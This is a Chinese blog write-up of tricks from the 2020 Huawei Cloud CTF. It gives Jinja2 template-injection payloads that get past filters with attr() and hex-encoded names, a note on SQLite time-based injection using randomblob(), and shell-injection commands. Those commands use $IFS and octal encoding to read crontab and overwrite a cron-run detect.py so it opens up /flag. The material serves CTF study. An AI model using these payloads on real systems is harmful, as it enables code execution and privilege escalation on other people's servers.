2020 huaweiyunctf
本文最后更新于 185 天前,其中的信息可能已经有所发展或是发生改变。

赛后看了writeup,记录几个tricks吧

mine1_1

两行代码等价

{{().__class__}}
{{()|attr('__class__')}}

绕过姿势

{{(()|attr(request.values.a)).get(request.values.b).get(request.values.c)(request.values.d).popen(request.values.e).read()}}&a=__globals__&b=__builtins__&c=__import__&d=os&e=cat%20flag.txt&f=123

{{()|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|attr(request.values.name4)(40)(request.values.name6)|attr(request.values.name5)()}}&name1=__class__&name2=__base__&name3=__subclasses__&name4=pop&name5=read&name6=./flag.txt

mine2

{%print(""|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(0)|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(202)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("eval")("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x20\x2d\x61\x6c\x6c\x27\x29\x2e\x72\x65\x61\x64\x28\x29"))%}

sqllite

sqllite数据库时间延时注入

差不多,主要差别在用的函数是 randomblob(),通过大量生成随机数来时间延时。

hids

这是唯一我有去做的一道题

先用$IFS$9绕过空格。

$(echo$IFS$9"\143\141\164\40\57\146\154\141\147")

发现没有权限读取文件,但是遍历目录的时候看到了一个detect.py。

ls -all /
ls$IFS$(printf$IFS"\55\141\154\154")$IFS$(printf$IFS"\57")
cat ../../../../etc/crontab
cat$IFS$(printf$IFS"\56\56\57\56\56\57\56\56\57\56\56\57\145\164\143\57\143\162\157\156\164\141\142")

查看crontab有两个进程在运行,一个是app.py,还有一个是detect.py。往文件写入shell。

echo "import os;os.system('chmod 777 /flag')">/detect.py
echo$IFS$(printf$IFS"\151\155\160\157\162\164\40\157\163\73\157\163\56\163\171\163\164\145\155\50\47\143\150\155\157\144\40\67\67\67\40\57\146\154\141\147\47\51")>$(printf$IFS"\57\144\145\164\145\143\164\56\160\171")
cat /detect.py
cat$IFS$(printf$IFS"\57\144\145\164\145\143\164\56\160\171") 
cat /flag

cat$IFS$(printf$IFS"\57\146\154\141\147")
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇